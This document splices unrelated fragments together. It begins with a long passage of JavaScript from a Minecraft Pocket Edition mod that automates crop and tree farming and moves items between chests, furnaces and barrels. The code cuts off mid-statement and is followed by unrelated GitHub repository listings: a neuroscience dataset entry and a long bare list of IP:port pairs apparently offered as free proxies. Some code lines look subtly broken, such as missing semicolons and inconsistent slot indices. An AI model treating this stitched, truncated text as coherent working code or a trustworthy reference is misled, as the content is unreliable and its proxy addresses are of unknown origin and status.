Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==61 || Level.getTile(x,y+1,z)==62){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],[x,y+1,z],amount); if(id==1) Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==180){ var sides=[[x,y,z],[x,y+2,z],[x,y+1,z-1],[x,y+1,z+1],[x-1,y+1,z],[x+1,y+1,z]]; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,id,dmg,amount); for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==68 && Level.getSignText(sides[i][0],sides[i][1],sides[i][2],0)=="Barrel"){ MoveItems([x,y,z],[sides[i][0],sides[i][1],sides[i][2]],amount); net.zhuoweizhang.mcpelauncher.ScriptManager.nativeExtinguishFire(sides[i][0],sides[i][1],sides[i][2],0); if(id==1) Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); if(id==49){ Level.setTile(waterPos[0],waterPos[1],waterPos[2],0); Level.setTile(lavaPos[0],lavaPos[1],lavaPos[2],0); } break; } } Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } else if(Level.getTile(x,y+1,z)==182){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setTile(x,y+1,z,181); Level.setChestSlot(x,y,z,0,id,dmg,amount); MoveItems([x,y,z],FindChest(x,y+1,z),amount); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.setTile(x,y+1,z,182); } return; } function Farmer(x,y,z,range){ //if(Level.getTile(x,y+1,z)!=8 && Level.getTile(x,y+1,z)!=9) // return; var isChest=false; var powered=false; var cx,cy,cz; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; isChest=true; break; } } if(!isChest) return; for(var i=0;i<6;i++){ if(InArray([sides[i][0],sides[i][1],sides[i][2]],poweredBlocks)){ powered=true; break; } } if(!powered) return; var inRange=[]; for(var i=-range;i<range+1;i++){ for(var j=-range;j<range+1;j++) inRange.push([x+i,y+2,z+j]); } var planted={295:59,391:141,392:142,458:244}; var planted2={59:295,141:391,142:392,244:458}; var product={59:296,141:391,142:392,244:457}; for(var i=0;i<inRange.length;i++){ if(Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==0 && Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==60){ for(var j=0;j<27;j++){ if(Level.getChestSlot(cx,cy,cz,j)==295 || Level.getChestSlot(cx,cy,cz,j)==391 || Level.getChestSlot(cx,cy,cz,j)==392 || Level.getChestSlot(cx,cy,cz,j)==458){ Level.setTile(inRange[i][0],inRange[i][1],inRange[i][2],planted[Level.getChestSlot(cx,cy,cz,j)],0); if(Level.getChestSlotCount(cx,cy,cz,j)>1) Level.setChestSlot(cx,cy,cz,j,Level.getChestSlot(cx,cy,cz,j),0,Level.getChestSlotCount(cx,cy,cz,j)-1); else Level.setChestSlot(cx,cy,cz,j,0); break; } } return; } if(Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==0 && (Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==2 || Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==3)){ Level.setTile(inRange[i][0],inRange[i][1]-1,inRange[i][2],60,6); return; } if((Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==59 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==141 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==142 || Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])==244) && Level.getData(inRange[i][0],inRange[i][1],inRange[i][2])==7){ var rnd=Math.floor(Math.random()*3)+1; var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,planted2[Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])],0,rnd); MoveItems([x,y,z],[cx,cy,cz],rnd); Level.setChestSlot(x,y,z,0,product[Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2])],0,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.destroyBlock(inRange[i][0],inRange[i][1],inRange[i][2],false); return; } } } function TreeFarmer(x,y,z,range){ var isChest=false; var powered=false; var cx,cy,cz; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54){ cx=sides[i][0]; cy=sides[i][1]; cz=sides[i][2]; isChest=true; break; } } if(!isChest) return; for(var i=0;i<6;i++){ if(InArray([sides[i][0],sides[i][1],sides[i][2]],poweredBlocks)){ powered=true; break; } } if(!powered) return; var inRange=[]; for(var k=0;k<8;k++){ for(var j=-range;j<range+1;j++){ for(var i=-range;i<range+1;i++) inRange.push([x+i,y+8-k,z+j]); } } for(var i=0;i<inRange.length;i++){ var id=Level.getTile(inRange[i][0],inRange[i][1],inRange[i][2]); var dmg=Level.getData(inRange[i][0],inRange[i][1],inRange[i][2]); if(id==0 && (Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==2 || Level.getTile(inRange[i][0],inRange[i][1]-1,inRange[i][2])==3)){ for(var j=0;j<27;j++){ if(Level.getChestSlot(cx,cy,cz,j)==6){ Level.setTile(inRange[i][0],inRange[i][1],inRange[i][2],Level.getChestSlot(cx,cy,cz,j),Level.getChestSlotData(cx,cy,cz,j)); if(Level.getChestSlotCount(cx,cy,cz,j)>1) Level.setChestSlot(cx,cy,cz,j,Level.getChestSlot(cx,cy,cz,j),Level.getChestSlotData(cx,cy,cz,j),Level.getChestSlotCount(cx,cy,cz,j)-1); else Level.setChestSlot(cx,cy,cz,j,0); break; } } return; } if(id==18){ var sides=[[inRange[i][0],inRange[i][1],inRange[i][2]],[inRange[i][0],inRange[i][1]-1,inRange[i][2]],[inRange[i][0],inRange[i][1]+1,inRange[i][2]],[inRange[i][0],inRange[i][1],inRange[i][2]-1],[inRange[i][0],inRange[i][1],inRange[i][2]+1],[inRange[i][0]-1,inRange[i][1],inRange[i][2]],[inRange[i][0]+1,inRange[i][1],inRange[i][2]]]; for(var j=0;j<6;j++){ if(Chances(5)){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,260,0,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } if(Chances(20)){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,6,Level.getData(sides[j][0],sides[j][1],sides[j][2])-7,1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); } if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==18) Level.destroyBlock(sides[j][0],sides[j][1],sides[j][2],false); } return; } else if(id==17){ var old=Level.getTile(x,y,z); Level.setTile(x,y,z,54); Level.setChestSlot(x,y,z,0,17,Level.getData(sides[j][0],sides[j][1],sides[j][2]),1); MoveItems([x,y,z],[cx,cy,cz],1); Level.setChestSlot(x,y,z,0,0); Level.setTile(x,y,z,old); Level.destroyBlock(inRange[i][0],inRange[i][1],inRange[i][2],false); return; } } } function FindChest(x,y,z){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var side=[x,y,z,0]; var passed=[[x,y,z]]; var routes=[[x,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==182) routes.push([sides[i][0],sides[i][1],sides[i][2]]); } if(routes.length>1){ var rnd=Math.floor(Math.floor(Math.random()*(routes.length-1))+1); x=routes[rnd][0]; y=routes[rnd][1]; z=routes[rnd][2]; } else return side; while(passed[passed.length-1][0]!=x || passed[passed.length-1][1]!=y || passed[passed.length-1][2]!=z){ sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; routes=[[x,y,z,0]]; for(var i=0;i<6;i++){ sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54) routes.push([sides[i][0],sides[i][1],sides[i][2],i]); else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==195){ if(!InArray([sides[i][0],sides[i][1],sides[i][2]],mBlocks)){ mBlocks.push([sides[i][0],sides[i][1],sides[i][2]]); if(!mBlocksSlots[sides[i][0]+","+sides[i][1]+","+sides[i][2]]) mBlocksSlots[sides[i][0]+","+sides[i][1]+","+sides[i][2]]=[0,0,0,0]; if(!mBlocksProgress[sides[i][0]+","+sides[i][1]+","+sides[i][2]]) mBlocksProgress[sides[i][0]+","+sides[i][1]+","+sides[i][2]]=0; } routes.push([sides[i][0],sides[i][1],sides[i][2],i]); } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) routes.push([sides[i][0],sides[i][1],sides[i][2],i]); else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ routes.push([sides[j][0],sides[j][1],sides[j][2],j]); break; } } } } if(routes.length>1) return routes[Math.floor(Math.random()*(routes.length-1))+1]; passed.push([x,y,z]); sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; routes=[[x,y,z]]; for(var i=0;i<6;i++){ if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==182) routes.push([sides[i][0],sides[i][1],sides[i][2]]); } if(routes.length>1){ var rnd=Math.floor(Math.floor(Math.random()*(routes.length-1))+1); x=routes[rnd][0]; y=routes[rnd][1]; z=routes[rnd][2]; } else return side; if(InArray([x,y,z],passed)) return side; } return side; } function MoveItems(from,to,amount){ if(Level.getTile(to[0],to[1],to[2])!=54 && Level.getTile(to[0],to[1],to[2])!=195 && Level.getTile(to[0],to[1],to[2])!=61 && Level.getTile(to[0],to[1],to[2])!=62 && Level.getTile(to[0],to[1],to[2])!=68) return; var ChestEmpty=true; if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(from[0],from[1],from[2],i)!=0){ ChestEmpty=false; break; } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ if(Level.getFurnaceSlot(from[0],from[1],from[2],2)!=0) ChestEmpty=false; } if(Level.getTile(from[0],from[1],from[2])==68 && Level.getSignText(from[0],from[1],from[2],0)=="Barrel"){ if(Level.getSignText(from[0],from[1],from[2],3)!="Barrel") ChestEmpty=false; } if(ChestEmpty) return; var buffer=[0,0,1]; if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(from[0],from[1],from[2],i)!=0){ buffer=[Level.getChestSlot(from[0],from[1],from[2],i),Level.getChestSlotData(from[0],from[1],from[2],i),1]; if(Level.getChestSlotCount(from[0],from[1],from[2],i)>amount){ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],Level.getChestSlotCount(from[0],from[1],from[2],i)-amount); buffer[2]=amount; } else{ buffer[2]=Level.getChestSlotCount(from[0],from[1],from[2],i); Level.setChestSlot(from[0],from[1],from[2],i,0); } break; } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ buffer=[Level.getFurnaceSlot(from[0],from[1],from[2],2),Level.getFurnaceSlotData(from[0],from[1],from[2],2),1]; if(Level.getFurnaceSlotCount(from[0],from[1],from[2],2)>amount){ Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],Level.getFurnaceSlotCount(from[0],from[1],from[2],3)-amount) buffer[2]=amount; } else{ buffer[2]=Level.getFurnaceSlotCount(from[0],from[1],from[2],2); Level.setFurnaceSlot(from[0],from[1],from[2],2,0) } } if(Level.getTile(from[0],from[1],from[2])==68){ buffer=[Level.getSignText(from[0],from[1],from[2],3).split(":")[0],Level.getSignText(from[0],from[1],from[2],3).split(":")[1],1]; var itemCount=64*parseInt(Level.getSignText(from[0],from[1],from[2],2).split("x")[0])+parseInt(Level.getSignText(from[0],from[1],from[2],2).split("+")[1]); if(itemCount>amount){ itemCount-=amount; Level.setSignText(from[0],from[1],from[2],2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); buffer[2]=amount; } else{ buffer[2]=amount; Level.setSignText(from[0],from[1],from[2],1," "); Level.setSignText(from[0],from[1],from[2],2," "); Level.setSignText(from[0],from[1],from[2],3,"Barrel"); } } var ChestHasSpace=false; var free=0; if(Level.getTile(to[0],to[1],to[2])==54){ for(var i=0;i<27;i++){ if(Level.getChestSlot(to[0],to[1],to[2],i)==0) free+=64; else if(Level.getChestSlot(to[0],to[1],to[2],i)==buffer[0] && Level.getChestSlotCount(to[0],to[1],to[2],i)<64 && Level.getChestSlotData(to[0],to[1],to[2],i)==buffer[1]) free+=64-Level.getChestSlotCount(to[0],to[1],to[2],i); } } if(Level.getTile(to[0],to[1],to[2])==195 && to[3]<2){ if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==0) free+=64; else if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==buffer[0] && mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]<64) free+=64-mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]; } if(Level.getTile(to[0],to[1],to[2])==61 || Level.getTile(to[0],to[1],to[2])==62){ if(to[3]>1){ if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==0) free=64; else if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==buffer[0] && Level.getFurnaceSlotCount(to[0],to[1],to[2],1)<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],1)==buffer[1]) free=64-Level.getFurnaceSlotCount(to[0],to[1],to[2],1); } else{ if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==0) free=64; else if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==buffer[0] && Level.getFurnaceSlotCount(to[0],to[1],to[2],0)<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],0)==buffer[1]) free=64-Level.getFurnaceSlotCount(to[0],to[1],to[2],0); } } if(Level.getTile(to[0],to[1],to[2])==68){ if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel") free=4096; else if(parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[0])==buffer[0] && 64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1])<4096 && parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[1])==buffer[1]) free=4096-64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1]); } if(buffer[2]<=free) ChestHasSpace=true; else ChestHasSpace=false; if(ChestHasSpace){ if(Level.getTile(to[0],to[1],to[2])==54){ for(var i=0;i<27;i++){ var c=Level.getChestSlotCount(to[0],to[1],to[2],i); if(Level.getChestSlot(to[0],to[1],to[2],i)==0 || (Level.getChestSlot(to[0],to[1],to[2],i)==buffer[0] && c<64 && Level.getChestSlotData(to[0],to[1],to[2],i)==buffer[1])){ if(buffer[2]<64-c){ Level.setChestSlot(to[0],to[1],to[2],i,buffer[0],buffer[1],Level.getChestSlotCount(to[0],to[1],to[2],i)+buffer[2]); break; } else{ Level.setChestSlot(to[0],to[1],to[2],i,buffer[0],buffer[1],64); buffer[2]-=64-c; } } } } if(Level.getTile(to[0],to[1],to[2])==195 && to[3]<2){ var c=mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]; if(mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==0 || (mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]==buffer[0] && c<64)){ if(buffer[2]<64-c){ mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]=buffer[0]; mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]+=buffer[2]; if(machineWindow!=null) ShowMachineGUI(to[0]+","+to[1]+","+to[2]); } else{ mBlocksSlots[to[0]+","+to[1]+","+to[2]][0]=buffer[0]; mBlocksSlots[to[0]+","+to[1]+","+to[2]][1]=64; buffer[2]-=64-c; if(machineWindow!=null) ShowMachineGUI(to[0]+","+to[1]+","+to[2]); } } } if(Level.getTile(to[0],to[1],to[2])==61 || Level.getTile(to[0],to[1],to[2])==62){ if(to[3]>1){ var c=Level.getFurnaceSlotCount(to[0],to[1],to[2],1); if(Level.getFurnaceSlot(to[0],to[1],to[2],1)==0 || (Level.getFurnaceSlot(to[0],to[1],to[2],1)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],1)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(to[0],to[1],to[2],1,buffer[0],buffer[1],Level.getFurnaceSlotCount(to[0],to[1],to[2],1)+buffer[2]) else{ Level.setFurnaceSlot(to[0],to[1],to[2],1,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } else{ var c=Level.getFurnaceSlotCount(to[0],to[1],to[2],0); if(Level.getFurnaceSlot(to[0],to[1],to[2],0)==0 || (Level.getFurnaceSlot(to[0],to[1],to[2],0)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],0)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(to[0],to[1],to[2],0,buffer[0],buffer[1],Level.getFurnaceSlotCount(to[0],to[1],to[2],0)+buffer[2]) else{ Level.setFurnaceSlot(to[0],to[1],to[2],0,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } } if(Level.getTile(to[0],to[1],to[2])==68){ if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel") c=0; else var c=64*parseInt(Level.getSignText(to[0],to[1],to[2],2).split("x")[0])+parseInt(Level.getSignText(to[0],to[1],to[2],2).split("+")[1]); if(Level.getSignText(to[0],to[1],to[2],3)=="Barrel" || (parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[0])==buffer[0] && c<4096 && parseInt(Level.getSignText(to[0],to[1],to[2],3).split(":")[1])==buffer[1])){ if(buffer[2]<4096-c){ var cc=c+buffer[2]; Level.setSignText(to[0],to[1],to[2],1,GetItemBlockName(buffer[0]+":"+buffer[1])); Level.setSignText(to[0],to[1],to[2],3,buffer[0]+":"+buffer[1]); Level.setSignText(to[0],to[1],to[2],2,parseInt(cc/64)+"x64+"+(cc-parseInt(cc/64)*64)); } else{ Level.setSignText(to[0],to[1],to[2],1,GetItemBlockName(buffer[0]+":"+buffer[1])); Level.setSignText(to[0],to[1],to[2],3,buffer[0]+":"+buffer[1]); Level.setSignText(to[0],to[1],to[2],2,"64x64+0") buffer[2]-=4096-c; } } } } else/* if(InArray(from,wrenchEx))*/{ if(Level.getTile(from[0],from[1],from[2])==54){ for(var i=0;i<27;i++){ var c=Level.getChestSlotCount(from[0],from[1],from[2],i); if(Level.getChestSlot(from[0],from[1],from[2],i)==0 || (Level.getChestSlot(from[0],from[1],from[2],i)==buffer[0] && c<64 && Level.getChestSlotData(from[0],from[1],from[2],i)==buffer[1])){ if(buffer[2]<64-c){ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],Level.getChestSlotCount(from[0],from[1],from[2],i)+buffer[2]); break; } else{ Level.setChestSlot(from[0],from[1],from[2],i,buffer[0],buffer[1],64); buffer[2]-=64-c; } } } } if(Level.getTile(from[0],from[1],from[2])==61 || Level.getTile(from[0],from[1],from[2])==62){ var c=Level.getFurnaceSlotCount(from[0],from[1],from[2],2); if(Level.getFurnaceSlot(from[0],from[1],from[2],2)==0 || (Level.getFurnaceSlot(from[0],from[1],from[2],2)==buffer[0] && c<64 && Level.getFurnaceSlotData(to[0],to[1],to[2],2)==buffer[1])){ if(buffer[2]<64-c) Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],Level.getFurnaceSlotCount(from[0],from[1],from[2],3)+buffer[2]) else{ Level.setFurnaceSlot(from[0],from[1],from[2],2,buffer[0],buffer[1],64) buffer[2]-=64-c; } } } if(Level.getTile(from[0],from[1],from[2])==68){ var c=64*parseInt(Level.getSignText(from[0],from[1],from[2],2).split("x")[0])+parseInt(Level.getSignText(from[0],from[1],from[2],2).split("+")[1]); if(Level.getSignText(from[0],from[1],from[2],3)=="Barrel" || (parseInt(Level.getSignText(from[0],from[1],from[2],3).split(":")[0])==buffer[0] && c<4096 && parseInt(Level.getSignText(from[0],from[1],from[2],3).split(":")[1])==buffer[1])){ if(buffer[2]<4096-c){ var cc=c+buffer[2]; Level.setSignText(from[0],from[1
GitHub Repo https://github.com/dandisets/001753

dandisets/001753

112 files, 5.9 GB, 1 release, 20260220_AIBS_Patchseq_BICAN_HMBA_macaque
GitHub Repo https://github.com/imMADOX/FRECH-PROXY-LIST-V1

imMADOX/FRECH-PROXY-LIST-V1

101.255.103.201:53281 101.255.121.105:8080 101.255.54.177:56410 101.255.6.213:8080 101.255.40.18:42556 182.23.2.102:49833 182.16.171.1:53281 182.253.111.75:8080 182.16.175.214:8080 101.255.64.194:36588 101.255.64.142:35401 182.253.106.13:8080 182.253.123.24:3128 182.16.181.90:54944 101.255.64.197:36588 101.255.75.125:34316 101.128.68.113:8080 182.253.121.46:8080 182.23.107.210:3128 182.253.16.4:8080 182.16.189.18:56223 101.255.119.49:8080 182.253.191.109:8080 182.23.32.177:38826 182.253.209.203:3128 182.253.252.12:8080 101.50.1.2:80 182.253.66.206:3128 182.23.63.180:3128 182.253.111.77:8080 182.253.209.205:3128 182.253.31.82:8080 103.108.158.17:8080 182.253.16.2:8080 182.253.111.78:8080 182.253.6.234:8080 182.253.130.21:3128 182.253.6.2:8080 182.253.68.171:8080 182.253.121.76:23500 182.16.181.54:8080 182.253.74.71:8080 182.253.20.27:58405 182.253.82.156:33203 103.111.28.170:8080 103.103.146.177:8080 182.253.86.152:8080 182.253.67.42:8080 182.253.235.152:3128 103.111.55.58:29 101.255.56.201:36501 103.111.28.162:8080 182.253.71.242:9999 182.253.26.196:8080 103.111.55.58:8197 103.111.55.58:37699 182.23.103.6:3137 182.253.93.3:53281 103.106.114.134:8080 103.111.56.41:8080 103.105.68.252:8080 182.253.112.43:8080 182.253.114.66:8080 103.10.81.172:80 182.253.115.66:57733 103.123.64.234:3128 182.253.121.19:8080 103.10.171.132:41043 103.123.66.114:8080 103.108.158.14:8080 103.136.25.42:8080 103.111.55.58:52319 182.253.175.222:8080 103.10.61.170:8080 103.134.213.52:8080 103.111.55.58:50027 103.105.197.154:8080 182.253.83.162:8080 103.140.207.218:8080 103.122.97.58:8080 103.105.68.252:80 103.2.146.66:49089 103.111.55.58:10189 103.111.31.210:8080 103.206.254.170:65103 103.111.55.58:30808 103.111.55.58:13206 103.111.55.58:9050 103.111.55.58:14107 103.111.83.122:3128 103.209.131.3:8080 103.111.83.26:60349 103.130.243.234:8080 103.15.242.212:47424 103.228.117.244:8080 183.91.87.36:3128 103.226.49.114:8080 103.234.254.163:80 103.23.103.203:60983 103.234.254.167:80 103.242.106.16:8080 103.119.228.240:3128 103.23.32.131:8080 103.119.230.240:3128 103.245.182.21:8080 103.234.254.165:80 103.247.122.37:8080 103.15.242.211:47424 103.233.154.242:8080 103.234.254.164:80 103.28.57.122:8080 103.42.254.194:43660 103.4.164.205:8080 103.56.207.112:8080 103.241.204.225:8080 103.233.108.66:8080 103.233.158.81:3128 103.234.254.10:80 103.234.254.160:80 103.66.47.97:8080 103.75.27.74:8080 103.78.73.92:3128 103.8.122.5:53297 103.80.238.198:53281 103.80.238.203:53281 103.3.76.90:33007 103.31.227.16:8080 103.31.45.174:8080 103.254.127.218:88 103.10.81.172:8080 182.23.2.99:49833 103.36.35.135:8080 182.253.16.3:8080 182.253.172.198:8080 182.253.193.210:32128 103.57.192.138:53281 103.56.205.68:8080 103.57.36.117:8080 103.111.55.58:27488 103.111.55.58:53281 103.232.66.75:8080 103.119.229.130:80 103.233.147.89:3128 103.22.248.59:43255 103.123.229.106:8080 103.95.40.211:3128 103.123.246.54:8080 103.76.149.34:8080 106.0.51.58:8080 103.8.122.9:53297 103.242.106.33:3128 103.76.201.30:23500 103.80.240.10:8080 103.76.20.155:54845 103.80.240.185:8080 103.80.240.93:8080 103.246.2.166:8080 103.80.82.19:8080 103.80.80.146:8080 103.81.195.146:88 103.80.80.202:8080 103.253.113.23:35897 103.87.16.2:80 103.80.83.161:8080 103.87.160.117:8080 103.83.94.218:808 103.85.63.66:53281 103.9.227.212:53281 103.86.142.15:8080 103.85.63.70:53281 103.30.245.197:443 103.30.245.197:80 103.94.0.82:49241 103.94.122.254:8080 103.94.121.27:60109 103.75.27.86:80 103.94.6.18:8080 103.94.171.238:60322 103.76.151.179:8181 110.5.100.130:53806 103.9.227.210:53281 103.235.67.30:9090 112.78.165.228:8080 103.94.5.54:8080 103.241.178.58:30299 112.78.187.188:43065 103.8.122.190:53297 112.78.39.198:57463 103.80.238.195:53281 103.242.106.69:8080 103.83.173.178:8080 112.78.149.90:8080 103.245.182.9:8080 112.78.181.162:8080 103.87.160.119:8080 103.247.217.251:43511 114.199.115.244:38509 114.199.110.58:47428 114.199.126.57:8080 110.137.149.14:8080 103.75.27.86:3128 103.76.200.41:23500 114.5.22.54:39482 202.138.248.123:35594 103.78.74.170:3128 114.57.49.242:53281 202.138.248.86:8080 103.78.80.194:33442 110.139.2.101:8080 114.6.88.238:60811 202.138.249.12:8080 115.124.67.186:80 115.124.86.74:8080 115.124.94.60:8080 202.146.0.219:47217 110.232.83.117:8080 110.232.64.171:4777 202.162.214.243:8080 115.85.86.235:8080 103.57.36.223:8080 103.89.161.18:8080 116.0.0.254:46604 202.43.189.105:3128 202.52.12.222:34337 103.9.124.210:8080 111.68.31.198:8080 103.66.47.126:8080 202.93.227.14:53281 117.102.68.210:53281 111.92.164.242:54450 116.197.129.238:8080 116.197.130.98:8080 103.94.7.254:53281 112.215.116.246:3128 203.174.13.158:8082 116.254.100.165:46675 110.232.74.55:8080 203.176.181.137:3128 112.78.133.45:8080 117.102.92.210:8080 110.232.76.94:54180 112.78.156.212:3128 111.92.164.246:35548 103.76.175.83:8080 111.92.164.249:48565 103.76.175.86:8080 112.78.170.29:8080 117.74.113.45:43866 114.110.21.121:50464 103.86.155.78:58703 202.129.190.2:80 115.124.75.225:8080 202.152.27.75:8080 114.110.22.90:43221 202.43.166.202:80 103.97.111.129:53281 202.43.181.49:80 202.51.124.122:8080 111.95.37.74:8080 115.124.79.90:8080 115.124.86.107:37600 115.85.86.130:80 114.57.185.12:57925 116.197.129.239:8080 118.97.145.186:53281 203.176.181.137:80 116.254.103.50:80 118.97.151.130:9090 119.18.152.2:8080 114.6.197.254:8080 111.68.26.237:8080 119.235.19.42:38546 114.7.5.214:53281 117.102.119.150:47704 119.235.27.40:8000 116.0.6.125:46604 210.210.129.83:49634 116.254.112.160:8080 119.252.160.34:8080 112.78.44.177:46174 119.252.168.50:53281 118.97.164.19:8080 117.102.127.131:8080 110.137.163.102:8080 118.99.93.6:8080 117.54.11.204:8080 110.232.67.73:3128 115.85.83.197:8080 110.232.85.168:33211 117.54.139.226:8080 119.18.152.210:3127 116.254.100.122:80 114.199.111.90:8080 120.89.95.222:8080 119.252.168.53:53281 117.102.78.42:8080 202.138.242.41:37294 202.149.74.141:3128 114.7.162.130:23500 202.152.142.234:3128 202.137.10.180:50001 117.54.11.204:80 120.29.155.59:59427 202.158.49.141:56687 202.138.248.171:53281 202.159.37.14:8080 202.138.248.85:8080 115.178.54.209:58973 118.137.123.193:8080 202.159.40.43:3128 202.150.139.46:60740 202.162.214.243:80 202.162.203.165:57019 202.162.214.250:8080 202.152.38.77:52740 222.165.204.163:23500 202.165.47.26:8080 202.169.252.1:8181 118.137.236.87:8080 202.179.185.70:8080 116.0.2.162:54070 124.158.144.186:8080 202.51.124.214:8080 123.231.226.114:47562 117.102.94.186:80 202.146.2.121:47217 202.43.181.89:3128 202.75.97.82:47009 117.103.5.186:44825 202.43.166.203:8080 202.146.2.131:47217 27.111.43.17:80 202.43.166.203:80 202.150.151.85:80 118.97.180.142:30793 202.57.2.19:8080 124.158.168.236:3128 202.57.5.58:8080 118.97.46.250:39129 124.158.175.30:8080 202.62.11.106:8080 203.176.182.249:8080 118.91.131.142:8080 